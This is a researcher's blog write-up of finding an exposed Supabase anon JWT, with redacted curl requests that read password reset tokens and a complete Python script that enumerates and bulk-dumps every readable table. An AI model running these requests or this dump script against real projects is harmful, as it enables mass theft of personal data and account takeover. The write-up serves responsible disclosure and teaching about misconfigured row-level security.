BOUR Abdelhadi

How rep+ Helped Me Identify a Critical Supabase JWT Exposure

Table of Contents

  1. Introduction
  2. Discovering the Target
  3. Testing with rep+
  4. Exploring Supabase Endpoints
  5. Validating Row Level Security
  6. Safe Proof-of-Concept
  7. Responsible Disclosure
  8. Why rep+ is Valuable
  9. Getting rep+
  10. References

TL;DR
I opened a website, ran rep+, found a leaked Supabase anon JWT, checked RLS, and accidentally got read access to password reset tokens.
Yes, that means full account takeover.
No, I did not exploit it.
Yes, this could have been very bad.

Introduction

I was exploring trustmrr, a website built by Marc Lou:𝕏 to help verify whether founders are being honest about their MRR or inflating their numbers. Marc also added a feature that allows founders to list their startups for sale.

While browsing those listings, I came across a website claiming to generate $10k+ in MRR, with the owner asking for $100k+. Out of curiosity, I decided to take a closer look and see whether rep+ could surface anything interesting.


Discovering the Target

Recently, I added Kingfisher support to rep+ (huge thanks to Mick Grove:𝕏). Kingfisher's secret-detection rules allow rep+ to scan loaded JavaScript files for sensitive information efficiently. Before merging the pull request into main, I was testing the feature in a real-world scenario, and that is exactly how I stumbled upon this issue.


Testing with rep+

rep+ is designed to be lightweight and frictionless for pentesters and security engineers. Instead of firing up a heavy proxy, you simply right-click, inspect the element, and start interacting with requests directly in the browser. With rep+, you can:

On top of that, rep+ adds AI-assisted workflows to speed up analysis:

I will not go through all the features here, as there are quite a few. Feel free to explore the GitHub repository or follow me on 𝕏 to learn more about what rep+ can do.


Client-side Secret Detection

One of the features I rely on most is client-side secret detection. While testing the Kingfisher integration, I used rep+ to scan all loaded JavaScript files and flag anything that might expose sensitive information.


JWT Discovery

Opening the site in my browser and launching rep+ immediately flagged a JWT token embedded directly in the site’s JavaScript.

rep+ flagging a JWT token

From the screenshot above, you can click on the JavaScript file hyperlink to jump directly to the source file. Alternatively, you can use the rep+ search bar, which searches across all URLs, headers, and bodies for both requests and responses.

rep+ search across requests and responses

Looking at the JavaScript output, it was clear that the token was a Supabase JWT. Without using any external website or tool, I highlighted the token inside rep+ and clicked JWT decode to inspect its contents.

JWT highlighted in rep+

rep+ decoded the token instantly and displayed the claims inline.

Decoded JWT inside rep+

The JWT was an anonymous (anon) Supabase token, which is typically intended to be publicly exposed. At this point, my goal was not exploitation, but to verify whether Row Level Security (RLS) was correctly enforced on the backend.


Exploring Supabase Endpoints

The very first thing I tested with the token was endpoint enumeration. Using the JWT, I attempted to list the available REST endpoints exposed by Supabase, effectively enumerating the tables and RPC functions that the backend made accessible to this token.

⚑ curl -s \
  https://β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ.supabase.co/rest/v1/ \
  -H "apikey: β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ " \
  -H "Authorization: Bearer β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ " | jq -r '.paths | keys[]'

The response returned a surprisingly large surface area:

/
/admiβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆrs
/aβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆrs
/apβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆles
/aβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆrs
/aβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆs
/coβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆts
/conβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆypβ–ˆβ–ˆs
/cuβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆains
/fβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ
/inβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆtions
/lβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆes
/lβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆs
/modβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆnts
/moβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆts
/moβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆles
/notβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆries
/nβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆns
/ofβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆes
/password_reset_tokens
/pβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆns
/posβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆkes
/pβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ
/pβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆctβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ_ids
/pβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆes
/products
/reβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆypes
/rpc/clβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆd_files
/rpc/creβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆink_column
/rpc/deβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆlikes
/rpc/β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆst_likes
/rpc/sβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆant_access
/rpc/vβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆuct_access
/sβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆosts
/suβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆeriods
/suβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆons
/systβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆgs
/trβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆns
/user_β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆorts
/user_β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ_access
/userβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆge

At this stage, the output alone did not confirm a vulnerability. Enumeration by itself is not exploitation. However, it immediately raised an important question:

Are these tables and RPC endpoints properly protected by Row Level Security?

Validating Row Level Security

From here, the focus shifted to validating whether RLS was consistently enforced and whether this anonymous token could access or manipulate data it should not.

Password Reset Tokens

One of the tables that immediately stood out during enumeration was password_reset_tokens. If an anonymous token can read from this table, it can potentially be used to take over user accounts.

The next step was straightforward. I tried to see whether the anon JWT had read access to that table.

I sent the following request using the same token:

curl -i \
  https://β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ.supabase.co/rest/v1/password_reset_tokens?limit=1 \
  -H "apikey: β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ" \
  -H "Authorization: Bearer β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ"

The response came back with an HTTP 200.

[
  {
    "id": "3eβ–ˆβ–ˆβ–ˆ2c-6β–ˆβ–ˆe-4β–ˆβ–ˆ5-8β–ˆβ–ˆb-f24β–ˆβ–ˆβ–ˆ4β–ˆβ–ˆ",
    "email": "β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ@gmail.com",
    "token": "β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ97d5β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ5459β–ˆβ–ˆβ–ˆ7ef7β–ˆβ–ˆβ–ˆ1",
    "created_at": "2025-05-05T18:04:57.013+00:00",
    "expires_at": "2025-05-06T18:04:57.013+00:00",
    "used": false
  }
]

At this point, the impact was clear.

The anonymous Supabase JWT was able to read password reset tokens, including the email address and the raw reset token itself. With access to this data, it would be possible to complete a password reset flow and take over user accounts.

This confirmed that Row Level Security was not properly enforced on this table.

Scale of Exposure

To get a sense of the scale of the exposure, I counted the number of password reset tokens available to this token:

πŸ—‚  ~/Desktop - β¬’ v22.18.0
⚑ jq β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ
272

That number alone was enough to confirm the severity of the issue. However, it also raised a more important question:

Was this an isolated failure on a single table, or a systemic authorization problem?

Manually querying tables one by one does not scale, and it leaves too much room for human error. To answer that question confidently, I decided to automate the process.

Using the same anonymous Supabase JWT, I wrote a small Python script to:

export SUPABASE_URL=https://xxxx.supabase.co
export SUPABASE_APIKEY=ANON_KEY
export SUPABASE_JWT=JWT_TOKEN
import requests
import argparse
import os
import json
from typing import List

PAGE_SIZE = 1000  # safe, explicit

def parse_args():
    parser = argparse.ArgumentParser(
        description="Enumerate and dump readable Supabase tables using an anon JWT (read-only)."
    )
    parser.add_argument("--url", help="Supabase project URL (https://xxxx.supabase.co)")
    parser.add_argument("--apikey", help="Supabase anon API key")
    parser.add_argument("--jwt", help="JWT token (Bearer)")
    parser.add_argument("--out", default="dump", help="Output directory")
    parser.add_argument("--page-size", type=int, default=PAGE_SIZE)
    return parser.parse_args()

def get_config(args):
    url = args.url or os.getenv("SUPABASE_URL")
    apikey = args.apikey or os.getenv("SUPABASE_APIKEY")
    jwt = args.jwt or os.getenv("SUPABASE_JWT")

    if not all([url, apikey, jwt]):
        raise SystemExit(
            "Missing configuration. Provide --url, --apikey, --jwt "
            "or set SUPABASE_URL, SUPABASE_APIKEY, SUPABASE_JWT"
        )

    return url.rstrip("/"), apikey, jwt

def get_paths(base_url, headers) -> List[str]:
    r = requests.get(f"{base_url}/rest/v1/", headers=headers, timeout=10)
    r.raise_for_status()

    return [
        p.strip("/")
        for p in r.json().get("paths", {}).keys()
        if not p.startswith("/rpc") and p != "/"
    ]

def dump_table(base_url, table, headers, page_size):
    all_rows = []
    offset = 0

    while True:
        url = f"{base_url}/rest/v1/{table}?limit={page_size}&offset={offset}"
        r = requests.get(url, headers=headers, timeout=10)

        if r.status_code != 200:
            return None, r.status_code

        chunk = r.json()
        all_rows.extend(chunk)

        if len(chunk) < page_size:
            break

        offset += page_size

    return all_rows, 200

def main():
    args = parse_args()
    base_url, apikey, jwt = get_config(args)

    headers = {
        "apikey": apikey,
        "Authorization": f"Bearer {jwt}",
    }

    os.makedirs(args.out, exist_ok=True)

    print("[*] Enumerating exposed tables...")
    tables = get_paths(base_url, headers)

    print(f"[+] Found {len(tables)} tables\n")

    summary = []

    for table in tables:
        print(f"[*] Dumping table: {table}")
        rows, status = dump_table(base_url, table, headers, args.page_size)

        if status == 200 and rows is not None:
            path = os.path.join(args.out, f"{table}.json")
            with open(path, "w") as f:
                json.dump(rows, f, indent=2)

            print(f"    [+] Dumped {len(rows)} rows β†’ {path}")
            summary.append({
                "table": table,
                "readable": True,
                "rows": len(rows),
                "file": path,
            })
        else:
            print(f"    [-] Blocked (HTTP {status})")
            summary.append({
                "table": table,
                "readable": False,
                "status_code": status,
            })

    with open(os.path.join(args.out, "_summary.json"), "w") as f:
        json.dump(summary, f, indent=2)

    print("\n[+] Done. Summary written to dump/_summary.json")

if __name__ == "__main__":
    main()

The goal was not exploitation, but validation. I wanted to understand whether Row Level Security was consistently enforced across the backend, or whether the issue extended beyond password reset tokens.

Running the script quickly made the answer clear.

πŸ—‚  ~/Desktop/superbase-exposure-check - β¬’ v22.18.0
⚑ python3 supabase-exposure-check.py 
[*] Enumerating exposed tables...
[+] Found 34 tables

[*] Dumping table: mβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆs
    [+] Dumped 38180 rows β†’ dump/mβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆs.json
[*] Dumping table: aβ–ˆβ–ˆs
    [+] Dumped 2168 rows β†’ dump/aβ–ˆβ–ˆs.json
[*] Dumping table: sβ–ˆβ–ˆeβ–ˆβ–ˆed_β–ˆβ–ˆsts
    [+] Dumped 792 rows β†’ dump/sβ–ˆβ–ˆeβ–ˆβ–ˆed_β–ˆβ–ˆsts.json
[*] Dumping table: iβ–ˆβ–ˆβ–ˆβ–ˆtions
    [+] Dumped 0 rows β†’ dump/iβ–ˆβ–ˆβ–ˆβ–ˆtions.json
[*] Dumping table: product_β–ˆβ–ˆases
    [+] Dumped 9938 rows β†’ dump/product_β–ˆβ–ˆases.json
[*] Dumping table: usβ–ˆβ–ˆ_age
    [+] Dumped 0 rows β†’ dump/usβ–ˆβ–ˆ_age.json
[*] Dumping table: user_β–ˆβ–ˆβ–ˆβ–ˆsβ–ˆβ–ˆ_access
...

Rather than being limited to a single misconfigured table, multiple tables were accessible using the anonymous token. This confirmed a systemic Row Level Security failure, not an isolated edge case. Several of the exposed tables contained highly sensitive PII, including plaintext, non-hashed passwords, which significantly elevated the overall risk and impact.

Safe Proof-of-Concept

The next step was to confirm that I was not imagining things and that this really worked. To do so, I decided to safely test the flow with a controlled account I created. The process is simple: you need to know the password reset path and where to place the token.

After creating a test account and requesting a password reset, I obtained the reset link:

https://β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ/reset-password?token=<token>

This confirmed that the flow worked as expected. With the token in the URL, the reset page accepted it and allowed changing the password. At this point, it was clear that the anonymous JWT had the ability to access password reset tokens and perform actions that should have been restricted.

I could have continued digging and increased the impact further. With the level of access available, there were several other paths worth exploring.

I decided to stop here.

The goal was never exploitation. The issue was already clear, reproducible, and severe enough to demonstrate a full account takeover risk. Going any further would not have added meaningful value.

Responsible Disclosure

I documented the findings and reported the issue to the site owner with clear reproduction steps, impact, and remediation guidance.

This was a strong reminder that even tokens intended to be public, like Supabase anonymous JWTs, can become extremely dangerous when authorization controls such as Row Level Security are misconfigured.


Why rep+ is Valuable

Finally, this case perfectly demonstrates why tools like rep+ are so valuable. It allowed me to quickly detect sensitive information, test the flow safely, and understand the security impact without relying on external tools.

Getting rep+

If you are interested in exploring rep+ yourself, you can:

I share daily updates about shipping new features and improvements in rep+ publicly on 𝕏, so feel free to follow me for the latest news.

If you like the project and want to support its development, consider joining the 11 sponsors who are already backing it. Your support helps keep the project growing and allows me to continue building powerful security tools for the community.

References

  1. Supabase API Keys – anon vs service role
  2. PostgreSQL Documentation – Row Level Security
  3. Supabase – Row Level Security Common Pitfalls
  4. Account Takeover
  5. supabase-exposure-check – Automated RLS Exposure Validation Script